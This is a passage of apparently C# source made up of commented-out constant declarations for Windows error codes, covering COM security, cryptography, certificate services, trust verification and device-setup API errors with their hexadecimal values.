CO_E_FAILEDTOOPENTHREADTOKEN = 0x80010125; //public const uint CO_E_FAILEDTOGETTOKENINFO = 0x80010126; //public const uint CO_E_TRUSTEEDOESNTMATCHCLIENT = 0x80010127; //public const uint CO_E_FAILEDTOQUERYCLIENTBLANKET = 0x80010128; //public const uint CO_E_FAILEDTOSETDACL = 0x80010129; //public const uint CO_E_ACCESSCHECKFAILED = 0x8001012A; //public const uint CO_E_NETACCESSAPIFAILED = 0x8001012B; //public const uint CO_E_WRONGTRUSTEENAMESYNTAX = 0x8001012C; //public const uint CO_E_INVALIDSID = 0x8001012D; //public const uint CO_E_CONVERSIONFAILED = 0x8001012E; //public const uint CO_E_NOMATCHINGSIDFOUND = 0x8001012F; //public const uint CO_E_LOOKUPACCSIDFAILED = 0x80010130; //public const uint CO_E_NOMATCHINGNAMEFOUND = 0x80010131; //public const uint CO_E_LOOKUPACCNAMEFAILED = 0x80010132; //public const uint CO_E_SETSERLHNDLFAILED = 0x80010133; //public const uint CO_E_FAILEDTOGETWINDIR = 0x80010134; //public const uint CO_E_PATHTOOLONG = 0x80010135; //public const uint CO_E_FAILEDTOGENUUID = 0x80010136; //public const uint CO_E_FAILEDTOCREATEFILE = 0x80010137; //public const uint CO_E_FAILEDTOCLOSEHANDLE = 0x80010138; //public const uint CO_E_EXCEEDSYSACLLIMIT = 0x80010139; //public const uint CO_E_ACESINWRONGORDER = 0x8001013A; //public const uint CO_E_INCOMPATIBLESTREAMVERSION = 0x8001013B; //public const uint CO_E_FAILEDTOOPENPROCESSTOKEN = 0x8001013C; //public const uint CO_E_DECODEFAILED = 0x8001013D; //public const uint CO_E_ACNOTINITIALIZED = 0x8001013F; //public const uint CO_E_CANCEL_DISABLED = 0x80010140; //public const uint RPC_E_UNEXPECTED = 0x8001FFFF; //public const uint ERROR_AUDITING_DISABLED = 0xC0090001; //public const uint ERROR_ALL_SIDS_FILTERED = 0xC0090002; //public const uint NTE_BAD_UID = 0x80090001; //public const uint NTE_BAD_HASH = 0x80090002; //public const uint NTE_BAD_KEY = 0x80090003; //public const uint NTE_BAD_LEN = 0x80090004; //public const uint NTE_BAD_DATA = 0x80090005; //public const uint NTE_BAD_SIGNATURE = 0x80090006; //public const uint NTE_BAD_VER = 0x80090007; //public const uint NTE_BAD_ALGID = 0x80090008; //public const uint NTE_BAD_FLAGS = 0x80090009; //public const uint NTE_BAD_TYPE = 0x8009000A; //public const uint NTE_BAD_KEY_STATE = 0x8009000B; //public const uint NTE_BAD_HASH_STATE = 0x8009000C; //public const uint NTE_NO_KEY = 0x8009000D; //public const uint NTE_NO_MEMORY = 0x8009000E; //public const uint NTE_EXISTS = 0x8009000F; //public const uint NTE_PERM = 0x80090010; //public const uint NTE_NOT_FOUND = 0x80090011; //public const uint NTE_DOUBLE_ENCRYPT = 0x80090012; //public const uint NTE_BAD_PROVIDER = 0x80090013; //public const uint NTE_BAD_PROV_TYPE = 0x80090014; //public const uint NTE_BAD_PUBLIC_KEY = 0x80090015; //public const uint NTE_BAD_KEYSET = 0x80090016; //public const uint NTE_PROV_TYPE_NOT_DEF = 0x80090017; //public const uint NTE_PROV_TYPE_ENTRY_BAD = 0x80090018; //public const uint NTE_KEYSET_NOT_DEF = 0x80090019; //public const uint NTE_KEYSET_ENTRY_BAD = 0x8009001A; //public const uint NTE_PROV_TYPE_NO_MATCH = 0x8009001B; //public const uint NTE_SIGNATURE_FILE_BAD = 0x8009001C; //public const uint NTE_PROVIDER_DLL_FAIL = 0x8009001D; //public const uint NTE_PROV_DLL_NOT_FOUND = 0x8009001E; //public const uint NTE_BAD_KEYSET_PARAM = 0x8009001F; //public const uint NTE_FAIL = 0x80090020; //public const uint NTE_SYS_ERR = 0x80090021; //public const uint NTE_SILENT_CONTEXT = 0x80090022; //public const uint NTE_TOKEN_KEYSET_STORAGE_FULL = 0x80090023; //public const uint NTE_TEMPORARY_PROFILE = 0x80090024; //public const uint NTE_FIXEDPARAMETER = 0x80090025; //public const uint SEC_E_INSUFFICIENT_MEMORY = 0x80090300; //public const uint SEC_E_INVALID_HANDLE = 0x80090301; //public const uint SEC_E_UNSUPPORTED_FUNCTION = 0x80090302; //public const uint SEC_E_TARGET_UNKNOWN = 0x80090303; //public const uint SEC_E_INTERNAL_ERROR = 0x80090304; //public const uint SEC_E_SECPKG_NOT_FOUND = 0x80090305; //public const uint SEC_E_NOT_OWNER = 0x80090306; //public const uint SEC_E_CANNOT_INSTALL = 0x80090307; //public const uint SEC_E_INVALID_TOKEN = 0x80090308; //public const uint SEC_E_CANNOT_PACK = 0x80090309; //public const uint SEC_E_QOP_NOT_SUPPORTED = 0x8009030A; //public const uint SEC_E_NO_IMPERSONATION = 0x8009030B; //public const uint SEC_E_LOGON_DENIED = 0x8009030C; //public const uint SEC_E_UNKNOWN_CREDENTIALS = 0x8009030D; //public const uint SEC_E_NO_CREDENTIALS = 0x8009030E; //public const uint SEC_E_MESSAGE_ALTERED = 0x8009030F; //public const uint SEC_E_OUT_OF_SEQUENCE = 0x80090310; //public const uint SEC_E_NO_AUTHENTICATING_AUTHORITY = 0x80090311; //public const uint SEC_I_CONTINUE_NEEDED = 0x00090312; //public const uint SEC_I_COMPLETE_NEEDED = 0x00090313; //public const uint SEC_I_COMPLETE_AND_CONTINUE = 0x00090314; //public const uint SEC_I_LOCAL_LOGON = 0x00090315; //public const uint SEC_E_BAD_PKGID = 0x80090316; //public const uint SEC_E_CONTEXT_EXPIRED = 0x80090317; //public const uint SEC_I_CONTEXT_EXPIRED = 0x00090317; //public const uint SEC_E_INCOMPLETE_MESSAGE = 0x80090318; //public const uint SEC_E_INCOMPLETE_CREDENTIALS = 0x80090320; //public const uint SEC_E_BUFFER_TOO_SMALL = 0x80090321; //public const uint SEC_I_INCOMPLETE_CREDENTIALS = 0x00090320; //public const uint SEC_I_RENEGOTIATE = 0x00090321; //public const uint SEC_E_WRONG_PRINCIPAL = 0x80090322; //public const uint SEC_I_NO_LSA_CONTEXT = 0x00090323; //public const uint SEC_E_TIME_SKEW = 0x80090324; //public const uint SEC_E_UNTRUSTED_ROOT = 0x80090325; //public const uint SEC_E_ILLEGAL_MESSAGE = 0x80090326; //public const uint SEC_E_CERT_UNKNOWN = 0x80090327; //public const uint SEC_E_CERT_EXPIRED = 0x80090328; //public const uint SEC_E_ENCRYPT_FAILURE = 0x80090329; //public const uint SEC_E_DECRYPT_FAILURE = 0x80090330; //public const uint SEC_E_ALGORITHM_MISMATCH = 0x80090331; //public const uint SEC_E_SECURITY_QOS_FAILED = 0x80090332; //public const uint SEC_E_UNFINISHED_CONTEXT_DELETED = 0x80090333; //public const uint SEC_E_NO_TGT_REPLY = 0x80090334; //public const uint SEC_E_NO_IP_ADDRESSES = 0x80090335; //public const uint SEC_E_WRONG_CREDENTIAL_HANDLE = 0x80090336; //public const uint SEC_E_CRYPTO_SYSTEM_INVALID = 0x80090337; //public const uint SEC_E_MAX_REFERRALS_EXCEEDED = 0x80090338; //public const uint SEC_E_MUST_BE_KDC = 0x80090339; //public const uint SEC_E_STRONG_CRYPTO_NOT_SUPPORTED = 0x8009033A; //public const uint SEC_E_TOO_MANY_PRINCIPALS = 0x8009033B; //public const uint SEC_E_NO_PA_DATA = 0x8009033C; //public const uint SEC_E_PKINIT_NAME_MISMATCH = 0x8009033D; //public const uint SEC_E_SMARTCARD_LOGON_REQUIRED = 0x8009033E; //public const uint SEC_E_SHUTDOWN_IN_PROGRESS = 0x8009033F; //public const uint SEC_E_KDC_INVALID_REQUEST = 0x80090340; //public const uint SEC_E_KDC_UNABLE_TO_REFER = 0x80090341; //public const uint SEC_E_KDC_UNKNOWN_ETYPE = 0x80090342; //public const uint SEC_E_UNSUPPORTED_PREAUTH = 0x80090343; //public const uint SEC_E_DELEGATION_REQUIRED = 0x80090345; //public const uint SEC_E_BAD_BINDINGS = 0x80090346; //public const uint SEC_E_MULTIPLE_ACCOUNTS = 0x80090347; //public const uint SEC_E_NO_KERB_KEY = 0x80090348; //public const uint SEC_E_CERT_WRONG_USAGE = 0x80090349; //public const uint SEC_E_DOWNGRADE_DETECTED = 0x80090350; //public const uint SEC_E_SMARTCARD_CERT_REVOKED = 0x80090351; //public const uint SEC_E_ISSUING_CA_UNTRUSTED = 0x80090352; //public const uint SEC_E_REVOCATION_OFFLINE_C = 0x80090353; //public const uint SEC_E_PKINIT_CLIENT_FAILURE = 0x80090354; //public const uint SEC_E_SMARTCARD_CERT_EXPIRED = 0x80090355; //public const uint SEC_E_NO_S4U_PROT_SUPPORT = 0x80090356; //public const uint SEC_E_CROSSREALM_DELEGATION_FAILURE = 0x80090357; //public const uint SEC_E_REVOCATION_OFFLINE_KDC = 0x80090358; //public const uint SEC_E_ISSUING_CA_UNTRUSTED_KDC = 0x80090359; //public const uint SEC_E_KDC_CERT_EXPIRED = 0x8009035A; //public const uint SEC_E_KDC_CERT_REVOKED = 0x8009035B; //public const uint SEC_E_NO_SPM = SEC_E_INTERNAL_ERROR; //public const uint SEC_E_NOT_SUPPORTED = SEC_E_UNSUPPORTED_FUNCTION; //public const uint CRYPT_E_MSG_ERROR = 0x80091001; //public const uint CRYPT_E_UNKNOWN_ALGO = 0x80091002; //public const uint CRYPT_E_OID_FORMAT = 0x80091003; //public const uint CRYPT_E_INVALID_MSG_TYPE = 0x80091004; //public const uint CRYPT_E_UNEXPECTED_ENCODING = 0x80091005; //public const uint CRYPT_E_AUTH_ATTR_MISSING = 0x80091006; //public const uint CRYPT_E_HASH_VALUE = 0x80091007; //public const uint CRYPT_E_INVALID_INDEX = 0x80091008; //public const uint CRYPT_E_ALREADY_DECRYPTED = 0x80091009; //public const uint CRYPT_E_NOT_DECRYPTED = 0x8009100A; //public const uint CRYPT_E_RECIPIENT_NOT_FOUND = 0x8009100B; //public const uint CRYPT_E_CONTROL_TYPE = 0x8009100C; //public const uint CRYPT_E_ISSUER_SERIALNUMBER = 0x8009100D; //public const uint CRYPT_E_SIGNER_NOT_FOUND = 0x8009100E; //public const uint CRYPT_E_ATTRIBUTES_MISSING = 0x8009100F; //public const uint CRYPT_E_STREAM_MSG_NOT_READY = 0x80091010; //public const uint CRYPT_E_STREAM_INSUFFICIENT_DATA = 0x80091011; //public const uint CRYPT_I_NEW_PROTECTION_REQUIRED = 0x00091012; //public const uint CRYPT_E_BAD_LEN = 0x80092001; //public const uint CRYPT_E_BAD_ENCODE = 0x80092002; //public const uint CRYPT_E_FILE_ERROR = 0x80092003; //public const uint CRYPT_E_NOT_FOUND = 0x80092004; //public const uint CRYPT_E_EXISTS = 0x80092005; //public const uint CRYPT_E_NO_PROVIDER = 0x80092006; //public const uint CRYPT_E_SELF_SIGNED = 0x80092007; //public const uint CRYPT_E_DELETED_PREV = 0x80092008; //public const uint CRYPT_E_NO_MATCH = 0x80092009; //public const uint CRYPT_E_UNEXPECTED_MSG_TYPE = 0x8009200A; //public const uint CRYPT_E_NO_KEY_PROPERTY = 0x8009200B; //public const uint CRYPT_E_NO_DECRYPT_CERT = 0x8009200C; //public const uint CRYPT_E_BAD_MSG = 0x8009200D; //public const uint CRYPT_E_NO_SIGNER = 0x8009200E; //public const uint CRYPT_E_PENDING_CLOSE = 0x8009200F; //public const uint CRYPT_E_REVOKED = 0x80092010; //public const uint CRYPT_E_NO_REVOCATION_DLL = 0x80092011; //public const uint CRYPT_E_NO_REVOCATION_CHECK = 0x80092012; //public const uint CRYPT_E_REVOCATION_OFFLINE = 0x80092013; //public const uint CRYPT_E_NOT_IN_REVOCATION_DATABASE = 0x80092014; //public const uint CRYPT_E_INVALID_NUMERIC_STRING = 0x80092020; //public const uint CRYPT_E_INVALID_PRINTABLE_STRING = 0x80092021; //public const uint CRYPT_E_INVALID_IA5_STRING = 0x80092022; //public const uint CRYPT_E_INVALID_X500_STRING = 0x80092023; //public const uint CRYPT_E_NOT_CHAR_STRING = 0x80092024; //public const uint CRYPT_E_FILERESIZED = 0x80092025; //public const uint CRYPT_E_SECURITY_SETTINGS = 0x80092026; //public const uint CRYPT_E_NO_VERIFY_USAGE_DLL = 0x80092027; //public const uint CRYPT_E_NO_VERIFY_USAGE_CHECK = 0x80092028; //public const uint CRYPT_E_VERIFY_USAGE_OFFLINE = 0x80092029; //public const uint CRYPT_E_NOT_IN_CTL = 0x8009202A; //public const uint CRYPT_E_NO_TRUSTED_SIGNER = 0x8009202B; //public const uint CRYPT_E_MISSING_PUBKEY_PARA = 0x8009202C; //public const uint CRYPT_E_OSS_ERROR = 0x80093000; //public const uint OSS_MORE_BUF = 0x80093001; //public const uint OSS_NEGATIVE_longEGER = 0x80093002; //public const uint OSS_PDU_RANGE = 0x80093003; //public const uint OSS_MORE_INPUT = 0x80093004; //public const uint OSS_DATA_ERROR = 0x80093005; //public const uint OSS_BAD_ARG = 0x80093006; //public const uint OSS_BAD_VERSION = 0x80093007; //public const uint OSS_OUT_MEMORY = 0x80093008; //public const uint OSS_PDU_MISMATCH = 0x80093009; //public const uint OSS_LIMITED = 0x8009300A; //public const uint OSS_BAD_PTR = 0x8009300B; //public const uint OSS_BAD_TIME = 0x8009300C; //public const uint OSS_INDEFINITE_NOT_SUPPORTED = 0x8009300D; //public const uint OSS_MEM_ERROR = 0x8009300E; //public const uint OSS_BAD_TABLE = 0x8009300F; //public const uint OSS_TOO_LONG = 0x80093010; //public const uint OSS_CONSTRAINT_VIOLATED = 0x80093011; //public const uint OSS_FATAL_ERROR = 0x80093012; //public const uint OSS_ACCESS_SERIALIZATION_ERROR = 0x80093013; //public const uint OSS_NULL_TBL = 0x80093014; //public const uint OSS_NULL_FCN = 0x80093015; //public const uint OSS_BAD_ENCRULES = 0x80093016; //public const uint OSS_UNAVAIL_ENCRULES = 0x80093017; //public const uint OSS_CANT_OPEN_TRACE_WINDOW = 0x80093018; //public const uint OSS_UNIMPLEMENTED = 0x80093019; //public const uint OSS_OID_DLL_NOT_LINKED = 0x8009301A; //public const uint OSS_CANT_OPEN_TRACE_FILE = 0x8009301B; //public const uint OSS_TRACE_FILE_ALREADY_OPEN = 0x8009301C; //public const uint OSS_TABLE_MISMATCH = 0x8009301D; //public const uint OSS_TYPE_NOT_SUPPORTED = 0x8009301E; //public const uint OSS_REAL_DLL_NOT_LINKED = 0x8009301F; //public const uint OSS_REAL_CODE_NOT_LINKED = 0x80093020; //public const uint OSS_OUT_OF_RANGE = 0x80093021; //public const uint OSS_COPIER_DLL_NOT_LINKED = 0x80093022; //public const uint OSS_CONSTRAINT_DLL_NOT_LINKED = 0x80093023; //public const uint OSS_COMPARATOR_DLL_NOT_LINKED = 0x80093024; //public const uint OSS_COMPARATOR_CODE_NOT_LINKED = 0x80093025; //public const uint OSS_MEM_MGR_DLL_NOT_LINKED = 0x80093026; //public const uint OSS_PDV_DLL_NOT_LINKED = 0x80093027; //public const uint OSS_PDV_CODE_NOT_LINKED = 0x80093028; //public const uint OSS_API_DLL_NOT_LINKED = 0x80093029; //public const uint OSS_BERDER_DLL_NOT_LINKED = 0x8009302A; //public const uint OSS_PER_DLL_NOT_LINKED = 0x8009302B; //public const uint OSS_OPEN_TYPE_ERROR = 0x8009302C; //public const uint OSS_MUTEX_NOT_CREATED = 0x8009302D; //public const uint OSS_CANT_CLOSE_TRACE_FILE = 0x8009302E; //public const uint CRYPT_E_ASN1_ERROR = 0x80093100; //public const uint CRYPT_E_ASN1_INTERNAL = 0x80093101; //public const uint CRYPT_E_ASN1_EOD = 0x80093102; //public const uint CRYPT_E_ASN1_CORRUPT = 0x80093103; //public const uint CRYPT_E_ASN1_LARGE = 0x80093104; //public const uint CRYPT_E_ASN1_CONSTRAINT = 0x80093105; //public const uint CRYPT_E_ASN1_MEMORY = 0x80093106; //public const uint CRYPT_E_ASN1_OVERFLOW = 0x80093107; //public const uint CRYPT_E_ASN1_BADPDU = 0x80093108; //public const uint CRYPT_E_ASN1_BADARGS = 0x80093109; //public const uint CRYPT_E_ASN1_BADREAL = 0x8009310A; //public const uint CRYPT_E_ASN1_BADTAG = 0x8009310B; //public const uint CRYPT_E_ASN1_CHOICE = 0x8009310C; //public const uint CRYPT_E_ASN1_RULE = 0x8009310D; //public const uint CRYPT_E_ASN1_UTF8 = 0x8009310E; //public const uint CRYPT_E_ASN1_PDU_TYPE = 0x80093133; //public const uint CRYPT_E_ASN1_NYI = 0x80093134; //public const uint CRYPT_E_ASN1_EXTENDED = 0x80093201; //public const uint CRYPT_E_ASN1_NOEOD = 0x80093202; //public const uint CERTSRV_E_BAD_REQUESTSUBJECT = 0x80094001; //public const uint CERTSRV_E_NO_REQUEST = 0x80094002; //public const uint CERTSRV_E_BAD_REQUESTSTATUS = 0x80094003; //public const uint CERTSRV_E_PROPERTY_EMPTY = 0x80094004; //public const uint CERTSRV_E_INVALID_CA_CERTIFICATE = 0x80094005; //public const uint CERTSRV_E_SERVER_SUSPENDED = 0x80094006; //public const uint CERTSRV_E_ENCODING_LENGTH = 0x80094007; //public const uint CERTSRV_E_ROLECONFLICT = 0x80094008; //public const uint CERTSRV_E_RESTRICTEDOFFICER = 0x80094009; //public const uint CERTSRV_E_KEY_ARCHIVAL_NOT_CONFIGURED = 0x8009400A; //public const uint CERTSRV_E_NO_VALID_KRA = 0x8009400B; //public const uint CERTSRV_E_BAD_REQUEST_KEY_ARCHIVAL = 0x8009400C; //public const uint CERTSRV_E_NO_CAADMIN_DEFINED = 0x8009400D; //public const uint CERTSRV_E_BAD_RENEWAL_CERT_ATTRIBUTE = 0x8009400E; //public const uint CERTSRV_E_NO_DB_SESSIONS = 0x8009400F; //public const uint CERTSRV_E_ALIGNMENT_FAULT = 0x80094010; //public const uint CERTSRV_E_ENROLL_DENIED = 0x80094011; //public const uint CERTSRV_E_TEMPLATE_DENIED = 0x80094012; //public const uint CERTSRV_E_DOWNLEVEL_DC_SSL_OR_UPGRADE = 0x80094013; //public const uint CERTSRV_E_UNSUPPORTED_CERT_TYPE = 0x80094800; //public const uint CERTSRV_E_NO_CERT_TYPE = 0x80094801; //public const uint CERTSRV_E_TEMPLATE_CONFLICT = 0x80094802; //public const uint CERTSRV_E_SUBJECT_ALT_NAME_REQUIRED = 0x80094803; //public const uint CERTSRV_E_ARCHIVED_KEY_REQUIRED = 0x80094804; //public const uint CERTSRV_E_SMIME_REQUIRED = 0x80094805; //public const uint CERTSRV_E_BAD_RENEWAL_SUBJECT = 0x80094806; //public const uint CERTSRV_E_BAD_TEMPLATE_VERSION = 0x80094807; //public const uint CERTSRV_E_TEMPLATE_POLICY_REQUIRED = 0x80094808; //public const uint CERTSRV_E_SIGNATURE_POLICY_REQUIRED = 0x80094809; //public const uint CERTSRV_E_SIGNATURE_COUNT = 0x8009480A; //public const uint CERTSRV_E_SIGNATURE_REJECTED = 0x8009480B; //public const uint CERTSRV_E_ISSUANCE_POLICY_REQUIRED = 0x8009480C; //public const uint CERTSRV_E_SUBJECT_UPN_REQUIRED = 0x8009480D; //public const uint CERTSRV_E_SUBJECT_DIRECTORY_GUID_REQUIRED = 0x8009480E; //public const uint CERTSRV_E_SUBJECT_DNS_REQUIRED = 0x8009480F; //public const uint CERTSRV_E_ARCHIVED_KEY_UNEXPECTED = 0x80094810; //public const uint CERTSRV_E_KEY_LENGTH = 0x80094811; //public const uint CERTSRV_E_SUBJECT_EMAIL_REQUIRED = 0x80094812; //public const uint CERTSRV_E_UNKNOWN_CERT_TYPE = 0x80094813; //public const uint CERTSRV_E_CERT_TYPE_OVERLAP = 0x80094814; //public const uint XENROLL_E_KEY_NOT_EXPORTABLE = 0x80095000; //public const uint XENROLL_E_CANNOT_ADD_ROOT_CERT = 0x80095001; //public const uint XENROLL_E_RESPONSE_KA_HASH_NOT_FOUND = 0x80095002; //public const uint XENROLL_E_RESPONSE_UNEXPECTED_KA_HASH = 0x80095003; //public const uint XENROLL_E_RESPONSE_KA_HASH_MISMATCH = 0x80095004; //public const uint XENROLL_E_KEYSPEC_SMIME_MISMATCH = 0x80095005; //public const uint TRUST_E_SYSTEM_ERROR = 0x80096001; //public const uint TRUST_E_NO_SIGNER_CERT = 0x80096002; //public const uint TRUST_E_COUNTER_SIGNER = 0x80096003; //public const uint TRUST_E_CERT_SIGNATURE = 0x80096004; //public const uint TRUST_E_TIME_STAMP = 0x80096005; //public const uint TRUST_E_BAD_DIGEST = 0x80096010; //public const uint TRUST_E_BASIC_CONSTRAINTS = 0x80096019; //public const uint TRUST_E_FINANCIAL_CRITERIA = 0x8009601E; //public const uint MSSIPOTF_E_OUTOFMEMRANGE = 0x80097001; //public const uint MSSIPOTF_E_CANTGETOBJECT = 0x80097002; //public const uint MSSIPOTF_E_NOHEADTABLE = 0x80097003; //public const uint MSSIPOTF_E_BAD_MAGICNUMBER = 0x80097004; //public const uint MSSIPOTF_E_BAD_OFFSET_TABLE = 0x80097005; //public const uint MSSIPOTF_E_TABLE_TAGORDER = 0x80097006; //public const uint MSSIPOTF_E_TABLE_LONGWORD = 0x80097007; //public const uint MSSIPOTF_E_BAD_FIRST_TABLE_PLACEMENT = 0x80097008; //public const uint MSSIPOTF_E_TABLES_OVERLAP = 0x80097009; //public const uint MSSIPOTF_E_TABLE_PADBYTES = 0x8009700A; //public const uint MSSIPOTF_E_FILETOOSMALL = 0x8009700B; //public const uint MSSIPOTF_E_TABLE_CHECKSUM = 0x8009700C; //public const uint MSSIPOTF_E_FILE_CHECKSUM = 0x8009700D; //public const uint MSSIPOTF_E_FAILED_POLICY = 0x80097010; //public const uint MSSIPOTF_E_FAILED_HINTS_CHECK = 0x80097011; //public const uint MSSIPOTF_E_NOT_OPENTYPE = 0x80097012; //public const uint MSSIPOTF_E_FILE = 0x80097013; //public const uint MSSIPOTF_E_CRYPT = 0x80097014; //public const uint MSSIPOTF_E_BADVERSION = 0x80097015; //public const uint MSSIPOTF_E_DSIG_STRUCTURE = 0x80097016; //public const uint MSSIPOTF_E_PCONST_CHECK = 0x80097017; //public const uint MSSIPOTF_E_STRUCTURE = 0x80097018; //public const uint NTE_OP_OK = 0; //public const uint TRUST_E_PROVIDER_UNKNOWN = 0x800B0001; //public const uint TRUST_E_ACTION_UNKNOWN = 0x800B0002; //public const uint TRUST_E_SUBJECT_FORM_UNKNOWN = 0x800B0003; //public const uint TRUST_E_SUBJECT_NOT_TRUSTED = 0x800B0004; //public const uint DIGSIG_E_ENCODE = 0x800B0005; //public const uint DIGSIG_E_DECODE = 0x800B0006; //public const uint DIGSIG_E_EXTENSIBILITY = 0x800B0007; //public const uint DIGSIG_E_CRYPTO = 0x800B0008; //public const uint PERSIST_E_SIZEDEFINITE = 0x800B0009; //public const uint PERSIST_E_SIZEINDEFINITE = 0x800B000A; //public const uint PERSIST_E_NOTSELFSIZING = 0x800B000B; //public const uint TRUST_E_NOSIGNATURE = 0x800B0100; //public const uint CERT_E_EXPIRED = 0x800B0101; //public const uint CERT_E_VALIDITYPERIODNESTING = 0x800B0102; //public const uint CERT_E_ROLE = 0x800B0103; //public const uint CERT_E_PATHLENCONST = 0x800B0104; //public const uint CERT_E_CRITICAL = 0x800B0105; //public const uint CERT_E_PURPOSE = 0x800B0106; //public const uint CERT_E_ISSUERCHAINING = 0x800B0107; //public const uint CERT_E_MALFORMED = 0x800B0108; //public const uint CERT_E_UNTRUSTEDROOT = 0x800B0109; //public const uint CERT_E_CHAINING = 0x800B010A; //public const uint TRUST_E_FAIL = 0x800B010B; //public const uint CERT_E_REVOKED = 0x800B010C; //public const uint CERT_E_UNTRUSTEDTESTROOT = 0x800B010D; //public const uint CERT_E_REVOCATION_FAILURE = 0x800B010E; //public const uint CERT_E_CN_NO_MATCH = 0x800B010F; //public const uint CERT_E_WRONG_USAGE = 0x800B0110; //public const uint TRUST_E_EXPLICIT_DISTRUST = 0x800B0111; //public const uint CERT_E_UNTRUSTEDCA = 0x800B0112; //public const uint CERT_E_INVALID_POLICY = 0x800B0113; //public const uint CERT_E_INVALID_NAME = 0x800B0114; //public const uint SPAPI_E_EXPECTED_SECTION_NAME = 0x800F0000; //public const uint SPAPI_E_BAD_SECTION_NAME_LINE = 0x800F0001; //public const uint SPAPI_E_SECTION_NAME_TOO_LONG = 0x800F0002; //public const uint SPAPI_E_GENERAL_SYNTAX = 0x800F0003; //public const uint SPAPI_E_WRONG_INF_STYLE = 0x800F0100; //public const uint SPAPI_E_SECTION_NOT_FOUND = 0x800F0101; //public const uint SPAPI_E_LINE_NOT_FOUND = 0x800F0102; //public const uint SPAPI_E_NO_BACKUP = 0x800F0103; //public const uint SPAPI_E_NO_ASSOCIATED_CLASS = 0x800F0200; //public const uint SPAPI_E_CLASS_MISMATCH = 0x800F0201; //public const uint SPAPI_E_DUPLICATE_FOUND = 0x800F0202; //public const uint SPAPI_E_NO_DRIVER_SELECTED = 0x800F0203; //public const uint SPAPI_E_KEY_DOES_NOT_EXIST = 0x800F0204; //public const uint SPAPI_E_INVALID_DEVINST_NAME = 0x800F0205; //public const uint SPAPI_E_INVALID_CLASS = 0x800F0206; //public const uint SPAPI_E_DEVINST_ALREADY_EXISTS = 0x800F0207; //public const uint SPAPI_E_DEVINFO_NOT_REGISTERED = 0x800F0208; //public const uint SPAPI_E_INVALID_REG_PROPERTY = 0x800F0209; //public const uint SPAPI_E_NO_INF = 0x800F020A; //public const uint SPAPI_E_NO_SUCH_DEVINST = 0x800F020B; //public const uint SPAPI_E_CANT_LOAD_CLASS_ICON = 0x800F020C; //public const uint SPAPI_E_INVALID_CLASS_INSTALLER = 0x800F020D; //public const uint SPAPI_E_DI_DO_DEFAULT = 0x800F020E; //public const uint SPAPI_E_DI_NOFILECOPY = 0x800F020F; //public const uint SPAPI_E_INVALID_HWPROFILE = 0x800F0210; //public const uint SPAPI_E_NO_DEVICE_SELECTED = 0x800F0211; //public const uint SPAPI_E_DEVINFO_LIST_LOCKED = 0x800F0212; //public const uint SPAPI_E_DEVINFO_DATA_LOCKED = 0x800F0213; //public const uint SPAPI_E_DI_BAD_PATH = 0x800F0214; //public const uint SPAPI_E_NO_CLASSINSTALL_PARAMS = 0x800F0215; //public const uint SPAPI_E_FILEQUEUE_LOCKED = 0x800F0216; //public const uint SPAPI_E_BAD_SERVICE_INSTALLSECT = 0x800F0217; //public const uint SPAPI_E_NO_CLASS_DRIVER_LIST = 0x800F0218; //public const uint SPAPI_E_NO_ASSOCIATED_SERVICE = 0x800F0219; //public const uint SPAPI_E_NO_DEFAULT_DEVICE_INTERFACE = 0x800F021A; //public const uint SPAPI_E_DEVICE_INTERFACE_ACTIVE = 0x800F021B; //public const uint SPAPI_E_DEVICE_INTERFACE_REMOVED = 0x800F021C; //public const uint SPAPI_E_BAD_INTERFACE_INSTALLSECT = 0x800F021D; //public const uint SPAPI_E_NO_SUCH_INTERFACE_CLASS = 0x800F021E; //public const uint SPAPI_E_INVALID_REFERENCE_STRING = 0x800F021F; //public const uint SPAPI_E_INVALID_MACHINENAME = 0x800F0220; //public const uint SPAPI_E_REMOTE_COMM_FAILURE = 0x800F0221; //public const uint SPAPI_E_MACHINE_UNAVAILABLE = 0x800F0222; //public const uint SPAPI_E_NO_CONFIGMGR_SERVICES = 0x800F0223; //public const uint SPAPI_E_INVALID_PROPPAGE_PROVIDER = 0x800F0224; //public const uint SPAPI_E_NO_SUCH_DEVICE_INTERFACE = 0x800F0225; //public const uint SPAPI_E_DI_POSTPROCESSING_REQUIRED = 0x800F0226; //public const uint SPAPI_E_INVALID_COINSTALLER = 0x800F0227; //public const uint SPAPI_E_NO_COMPAT_DRIVERS = 0x800F0228; //public const uint SPAPI_E_NO_DEVICE_ICON = 0x800F0229; //public const uint SPAPI_E_INVALID_INF_LOGCONFIG = 0x800F022A; //public const uint SPAPI_E_DI_DONT_INSTALL = 0x800F022B; //public const uint SPAPI_E_INVALID_FILTER_DRIVER = 0x800F022C; //public const uint SPAPI_E_NON_WINDOWS_NT_DRIVER = 0x800F022D; //public const uint SPAPI_E_NON_WINDOWS_DRIVER = 0x800F022E; //public const uint SPAPI_E_NO_CATALOG_FOR_OEM_INF = 0x800F022F; //public const uint SPAPI_E_DEVINSTALL_QUEUE_NONNATIVE = 0x800F0230; //public const uint SPAPI_E_NOT_DISABLEABLE = 0x800F0231; //public const uint SPAPI_E_CANT_REMOVE_DEVINST = 0x800F0232; //public const uint SPAPI_E_INVALID_TARGET = 0x800F0233; //public const uint SPAPI_E_DRIVER_NONNATIVE = 0x800F0234; //public const uint SPAPI_E_IN_WOW64 = 0x800F0235; //public const uint SPAPI_E_SET_SYSTEM_RESTORE_POINT = 0x800F0236; //public const uint SPAPI_E_INCORRECTLY_COPIED_INF = 0x800F0237; //public const uint SPAPI_E_SCE_DISABLED = 0x800F0238; //public const uint SPAPI_E_UNKNOWN_EXCEPTION = 0x800F0239; //public const uint SPAPI_E_PNP_REGISTRY_ERROR = 0x800F023A; //public const uint SPAPI_E_REMOTE_REQUEST_UNSUPPORTED = 0x800F023B; //public const uint SPAPI_E_NOT_AN_INSTALLED_OEM_INF = 0x800F023C; //public const uint SPAPI_E_INF_IN_USE_BY_DEVICES = 0x800F023D; //public const uint SPAPI_E_DI_FUNCTION_OBSOLETE = 0x800F023E; //public const uint SPAPI_E_NO_AUTHENTICODE_CATALOG = 0x800F023F; //public const uint SPAPI_E_AUTHENTICODE_DISALLOWED = 0x800F0240; //public const uint SPAPI_E_AUTHENTICODE_TRUSTED_PUBLISHER = 0x800F0241; //public const uint SPAPI_E_AUTHENTICODE_TRUST_NOT_ESTABLISHED = 0x800F0242; //public const uint SPAPI_E_AUTHENTICODE_PUBLISHER_NOT_TRUSTED = 0x800F0243; //public const uint SPAPI_E_SIGNATURE_OSATTRIBUTE_MISMATCH = 0x800F0244; //public const uint SPAPI_E_ONLY_VALIDATE_VIA_AUTHENTICODE = 0x800F0245; //public const uint 